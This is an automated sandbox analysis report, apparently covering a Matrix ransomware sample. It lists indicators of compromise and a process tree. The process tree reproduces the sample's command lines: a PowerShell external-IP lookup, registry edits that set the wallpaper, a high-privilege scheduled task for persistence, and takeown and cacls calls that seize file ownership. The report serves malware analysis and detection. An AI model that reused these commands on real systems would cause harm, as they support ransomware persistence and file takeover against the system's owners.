r0B5wIrd64.exe File opened (read-only) \??\O: r0B5wIrd64.exe File opened (read-only) \??\O: c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File opened (read-only) \??\N: c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File opened (read-only) \??\L: c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File opened (read-only) \??\B: r0B5wIrd64.exe File opened (read-only) \??\F: r0B5wIrd64.exe File opened (read-only) \??\Q: r0B5wIrd64.exe File opened (read-only) \??\S: r0B5wIrd64.exe File opened (read-only) \??\W: r0B5wIrd64.exe File opened (read-only) \??\Y: c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File opened (read-only) \??\M: c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File opened (read-only) \??\E: c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File opened (read-only) \??\M: r0B5wIrd64.exe File opened (read-only) \??\W: c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File opened (read-only) \??\I: c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File opened (read-only) \??\K: c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File opened (read-only) \??\A: r0B5wIrd64.exe File opened (read-only) \??\E: r0B5wIrd64.exe File opened (read-only) \??\U: r0B5wIrd64.exe File opened (read-only) \??\Q: c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File opened (read-only) \??\P: c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 8 myexternalip.com -
Sets desktop wallpaper using registry 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1405931862-909307831-4085185274-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Roaming\\8nY78Wux.bmp" reg.exe -
Drops file in Program Files directory 64 IoCs
description ioc Process File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Puerto_Rico c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ecf.provider.filetransfer.httpclient4_1.0.800.v20140827-1444.jar c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.httpclient4.feature_3.9.1.v20140827-1444\META-INF\eclipse.inf c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.e4.ui.model.workbench_1.1.0.v20140512-1820.jar c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\can.fca c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\db\bin\setEmbeddedCP c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Etc\GMT+3 c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Novokuznetsk c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\Berlin c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Asia\Oral c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File opened for modification C:\Program Files\VideoLAN\VLC\NEWS.txt c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\update_tracking\org-netbeans-spi-quicksearch.xml c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\images\winXPOlive.png c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\flavormap.properties c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Havana c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File opened for modification C:\Program Files\VideoLAN\VLC\skins\winamp2.xml c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-api-visual_ja.jar c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.equinox.p2.rcp.feature_1.2.0.v20140523-0116\META-INF\ECLIPSE_.RSA c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File opened for modification C:\Program Files\SearchMove.potm c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Rio_Branco c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\images\Folder-48.png c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File opened for modification C:\Program Files\Microsoft Games\Multiplayer\Spades\en-US\ShvlRes.dll.mui c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-netbeans-api-search.jar c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.launcher_1.3.0.v20140415-2008.jar c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Europe\Zurich c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Africa\Abidjan c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\WET c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Cayenne c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\META-INF\#FOX_README#.rtf c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\bin\server\Xusage.txt c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Yellowknife c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\#FOX_README#.rtf c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File opened for modification C:\Program Files\Java\jre7\bin\pack200.exe c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\css\e4_default_gtk.css c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File created C:\Program Files\Java\jre7\lib\zi\Pacific\#FOX_README#.rtf c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Blanc-Sablon c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-autoupdate-services_ja.jar c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Boa_Vista c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Campo_Grande c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File opened for modification C:\Program Files\Java\jre7\bin\rmiregistry.exe c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.emf.ecore.change_2.10.0.v20140901-1043.jar c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File opened for modification C:\Program Files\Java\jre7\lib\deploy\messages_zh_TW.properties c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File opened for modification C:\Program Files\Microsoft Games\Minesweeper\ja-JP\Minesweeper.exe.mui c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.jetty.io_8.1.14.v20131031.jar c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Phoenix c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\az\LC_MESSAGES\vlc.mo c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Asia\Anadyr c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\ir.idl c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\Monaco c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Pacific\Rarotonga c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.emf.ecore_2.10.1.v20140901-1043\META-INF\ECLIPSE_.SF c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File opened for modification C:\Program Files\Java\jre7\lib\classlist c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.core.ssl.feature_1.0.0.v20140827-1444\META-INF\ECLIPSE_.SF c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\intf\cli.luac c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\update_tracking\org-openide-modules.xml c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Australia\Lindeman c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File created C:\Program Files\Java\jre7\lib\zi\Europe\#FOX_README#.rtf c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File opened for modification C:\Program Files\Google\Chrome\Application\89.0.4389.114\Locales\fil.pak c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Hermosillo c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Qyzylorda c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.security_1.2.0.v20130424-1801.jar c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\config\Modules\#FOX_README#.rtf c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Europe\Amsterdam c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.babel.nls_eclipse_zh_4.4.0.v20140623020002\#FOX_README#.rtf c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 1292 schtasks.exe -
Interacts with shadow copies 2 TTPs 1 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 1536 vssadmin.exe -
Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 1644 powershell.exe 1552 r0B5wIrd64.exe 1552 r0B5wIrd64.exe 1552 r0B5wIrd64.exe -
Suspicious behavior: LoadsDriver 1 IoCs
pid Process 1552 r0B5wIrd64.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 1644 powershell.exe Token: SeDebugPrivilege 1552 r0B5wIrd64.exe Token: SeLoadDriverPrivilege 1552 r0B5wIrd64.exe Token: SeBackupPrivilege 480 vssvc.exe Token: SeRestorePrivilege 480 vssvc.exe Token: SeAuditPrivilege 480 vssvc.exe Token: SeIncreaseQuotaPrivilege 1200 WMIC.exe Token: SeSecurityPrivilege 1200 WMIC.exe Token: SeTakeOwnershipPrivilege 1200 WMIC.exe Token: SeLoadDriverPrivilege 1200 WMIC.exe Token: SeSystemProfilePrivilege 1200 WMIC.exe Token: SeSystemtimePrivilege 1200 WMIC.exe Token: SeProfSingleProcessPrivilege 1200 WMIC.exe Token: SeIncBasePriorityPrivilege 1200 WMIC.exe Token: SeCreatePagefilePrivilege 1200 WMIC.exe Token: SeBackupPrivilege 1200 WMIC.exe Token: SeRestorePrivilege 1200 WMIC.exe Token: SeShutdownPrivilege 1200 WMIC.exe Token: SeDebugPrivilege 1200 WMIC.exe Token: SeSystemEnvironmentPrivilege 1200 WMIC.exe Token: SeRemoteShutdownPrivilege 1200 WMIC.exe Token: SeUndockPrivilege 1200 WMIC.exe Token: SeManageVolumePrivilege 1200 WMIC.exe Token: 33 1200 WMIC.exe Token: 34 1200 WMIC.exe Token: 35 1200 WMIC.exe Token: SeIncreaseQuotaPrivilege 1200 WMIC.exe Token: SeSecurityPrivilege 1200 WMIC.exe Token: SeTakeOwnershipPrivilege 1200 WMIC.exe Token: SeLoadDriverPrivilege 1200 WMIC.exe Token: SeSystemProfilePrivilege 1200 WMIC.exe Token: SeSystemtimePrivilege 1200 WMIC.exe Token: SeProfSingleProcessPrivilege 1200 WMIC.exe Token: SeIncBasePriorityPrivilege 1200 WMIC.exe Token: SeCreatePagefilePrivilege 1200 WMIC.exe Token: SeBackupPrivilege 1200 WMIC.exe Token: SeRestorePrivilege 1200 WMIC.exe Token: SeShutdownPrivilege 1200 WMIC.exe Token: SeDebugPrivilege 1200 WMIC.exe Token: SeSystemEnvironmentPrivilege 1200 WMIC.exe Token: SeRemoteShutdownPrivilege 1200 WMIC.exe Token: SeUndockPrivilege 1200 WMIC.exe Token: SeManageVolumePrivilege 1200 WMIC.exe Token: 33 1200 WMIC.exe Token: 34 1200 WMIC.exe Token: 35 1200 WMIC.exe Token: SeTakeOwnershipPrivilege 1500 takeown.exe Token: SeTakeOwnershipPrivilege 1396 takeown.exe Token: SeTakeOwnershipPrivilege 1320 takeown.exe Token: SeTakeOwnershipPrivilege 2000 takeown.exe Token: SeTakeOwnershipPrivilege 212 takeown.exe Token: SeTakeOwnershipPrivilege 1396 takeown.exe Token: SeTakeOwnershipPrivilege 1376 takeown.exe Token: SeTakeOwnershipPrivilege 592 takeown.exe Token: SeTakeOwnershipPrivilege 1048 takeown.exe Token: SeTakeOwnershipPrivilege 208 takeown.exe Token: SeTakeOwnershipPrivilege 712 takeown.exe Token: SeTakeOwnershipPrivilege 1112 takeown.exe Token: SeTakeOwnershipPrivilege 296 takeown.exe Token: SeTakeOwnershipPrivilege 212 takeown.exe Token: SeTakeOwnershipPrivilege 1516 takeown.exe Token: SeTakeOwnershipPrivilege 1264 takeown.exe Token: SeTakeOwnershipPrivilege 1396 takeown.exe Token: SeTakeOwnershipPrivilege 1596 takeown.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1668 wrote to memory of 1808 1668 c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe 28 PID 1668 wrote to memory of 1808 1668 c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe 28 PID 1668 wrote to memory of 1808 1668 c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe 28 PID 1668 wrote to memory of 1808 1668 c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe 28 PID 1668 wrote to memory of 268 1668 c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe 30 PID 1668 wrote to memory of 268 1668 c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe 30 PID 1668 wrote to memory of 268 1668 c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe 30 PID 1668 wrote to memory of 268 1668 c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe 30 PID 1668 wrote to memory of 2024 1668 c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe 32 PID 1668 wrote to memory of 2024 1668 c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe 32 PID 1668 wrote to memory of 2024 1668 c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe 32 PID 1668 wrote to memory of 2024 1668 c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe 32 PID 2024 wrote to memory of 1644 2024 cmd.exe 34 PID 2024 wrote to memory of 1644 2024 cmd.exe 34 PID 2024 wrote to memory of 1644 2024 cmd.exe 34 PID 2024 wrote to memory of 1644 2024 cmd.exe 34 PID 1668 wrote to memory of 1264 1668 c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe 35 PID 1668 wrote to memory of 1264 1668 c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe 35 PID 1668 wrote to memory of 1264 1668 c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe 35 PID 1668 wrote to memory of 1264 1668 c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe 35 PID 1668 wrote to memory of 896 1668 c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe 36 PID 1668 wrote to memory of 896 1668 c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe 36 PID 1668 wrote to memory of 896 1668 c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe 36 PID 1668 wrote to memory of 896 1668 c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe 36 PID 1264 wrote to memory of 1612 1264 cmd.exe 39 PID 1264 wrote to memory of 1612 1264 cmd.exe 39 PID 1264 wrote to memory of 1612 1264 cmd.exe 39 PID 1264 wrote to memory of 1612 1264 cmd.exe 39 PID 1668 wrote to memory of 588 1668 c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe 40 PID 1668 wrote to memory of 588 1668 c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe 40 PID 1668 wrote to memory of 588 1668 c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe 40 PID 1668 wrote to memory of 588 1668 c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe 40 PID 1264 wrote to memory of 1048 1264 cmd.exe 43 PID 1264 wrote to memory of 1048 1264 cmd.exe 43 PID 1264 wrote to memory of 1048 1264 cmd.exe 43 PID 1264 wrote to memory of 1048 1264 cmd.exe 43 PID 896 wrote to memory of 1520 896 cmd.exe 42 PID 896 wrote to memory of 1520 896 cmd.exe 42 PID 896 wrote to memory of 1520 896 cmd.exe 42 PID 896 wrote to memory of 1520 896 cmd.exe 42 PID 588 wrote to memory of 636 588 cmd.exe 44 PID 588 wrote to memory of 636 588 cmd.exe 44 PID 588 wrote to memory of 636 588 cmd.exe 44 PID 588 wrote to memory of 636 588 cmd.exe 44 PID 1264 wrote to memory of 1816 1264 cmd.exe 45 PID 1264 wrote to memory of 1816 1264 cmd.exe 45 PID 1264 wrote to memory of 1816 1264 cmd.exe 45 PID 1264 wrote to memory of 1816 1264 cmd.exe 45 PID 588 wrote to memory of 540 588 cmd.exe 46 PID 588 wrote to memory of 540 588 cmd.exe 46 PID 588 wrote to memory of 540 588 cmd.exe 46 PID 588 wrote to memory of 540 588 cmd.exe 46 PID 588 wrote to memory of 864 588 cmd.exe 47 PID 588 wrote to memory of 864 588 cmd.exe 47 PID 588 wrote to memory of 864 588 cmd.exe 47 PID 588 wrote to memory of 864 588 cmd.exe 47 PID 864 wrote to memory of 828 864 cmd.exe 48 PID 864 wrote to memory of 828 864 cmd.exe 48 PID 864 wrote to memory of 828 864 cmd.exe 48 PID 864 wrote to memory of 828 864 cmd.exe 48 PID 1520 wrote to memory of 1964 1520 wscript.exe 49 PID 1520 wrote to memory of 1964 1520 wscript.exe 49 PID 1520 wrote to memory of 1964 1520 wscript.exe 49 PID 1520 wrote to memory of 1964 1520 wscript.exe 49
Processes
-
C:\Users\Admin\AppData\Local\Temp\c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe"C:\Users\Admin\AppData\Local\Temp\c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe"1⤵
- Matrix Ransomware
- Modifies extensions of user files
- Loads dropped DLL
- Drops desktop.ini file(s)
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:1668 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C copy /V /Y "C:\Users\Admin\AppData\Local\Temp\c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe" "C:\Users\Admin\AppData\Local\Temp\NWwVkFPm.exe"2⤵PID:1808
-
-
C:\Users\Admin\AppData\Local\Temp\NWwVkFPm.exe"C:\Users\Admin\AppData\Local\Temp\NWwVkFPm.exe" -n2⤵
- Executes dropped EXE
PID:268
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C powershell "$webClient = New-Object -TypeName System.Net.WebClient; $webClient.DownloadString('http://myexternalip.com/raw')">"C:\Users\Admin\AppData\Local\Temp\2XNV5oFd.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:2024 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell "$webClient = New-Object -TypeName System.Net.WebClient; $webClient.DownloadString('http://myexternalip.com/raw')"3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1644
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C reg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\8nY78Wux.bmp" /f & reg add "HKCU\Control Panel\Desktop" /v WallpaperStyle /t REG_SZ /d "0" /f & reg add "HKCU\Control Panel\Desktop" /v TileWallpaper /t REG_SZ /d "0" /f2⤵
- Suspicious use of WriteProcessMemory
PID:1264 -
C:\Windows\SysWOW64\reg.exereg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\8nY78Wux.bmp" /f3⤵
- Sets desktop wallpaper using registry
PID:1612
-
-
C:\Windows\SysWOW64\reg.exereg add "HKCU\Control Panel\Desktop" /v WallpaperStyle /t REG_SZ /d "0" /f3⤵PID:1048
-
-
C:\Windows\SysWOW64\reg.exereg add "HKCU\Control Panel\Desktop" /v TileWallpaper /t REG_SZ /d "0" /f3⤵PID:1816
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C wscript //B //Nologo "C:\Users\Admin\AppData\Roaming\FFn9xH2m.vbs"2⤵
- Suspicious use of WriteProcessMemory
PID:896 -
C:\Windows\SysWOW64\wscript.exewscript //B //Nologo "C:\Users\Admin\AppData\Roaming\FFn9xH2m.vbs"3⤵
- Suspicious use of WriteProcessMemory
PID:1520 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C schtasks /Create /tn DSHCA /tr "C:\Users\Admin\AppData\Roaming\uPda0AUx.bat" /sc minute /mo 5 /RL HIGHEST /F4⤵PID:1964
-
C:\Windows\SysWOW64\schtasks.exeschtasks /Create /tn DSHCA /tr "C:\Users\Admin\AppData\Roaming\uPda0AUx.bat" /sc minute /mo 5 /RL HIGHEST /F5⤵
- Creates scheduled task(s)
PID:1292
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C schtasks /Run /I /tn DSHCA4⤵PID:996
-
C:\Windows\SysWOW64\schtasks.exeschtasks /Run /I /tn DSHCA5⤵PID:1500
-
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\ENUtxt.pdf""2⤵
- Suspicious use of WriteProcessMemory
PID:588 -
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\ENUtxt.pdf" /E /G Admin:F /C3⤵PID:636
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\ENUtxt.pdf"3⤵PID:540
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "ENUtxt.pdf" -nobanner3⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:864 -
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "ENUtxt.pdf" -nobanner4⤵
- Executes dropped EXE
- Loads dropped DLL
PID:828 -
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd64.exer0B5wIrd.exe -accepteula "ENUtxt.pdf" -nobanner5⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Enumerates connected drives
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: LoadsDriver
- Suspicious use of AdjustPrivilegeToken
PID:1552
-
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\IDTemplates\ENU\DefaultID.pdf""2⤵
- Loads dropped DLL
PID:1444 -
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\IDTemplates\ENU\DefaultID.pdf" /E /G Admin:F /C3⤵PID:1612
-
-
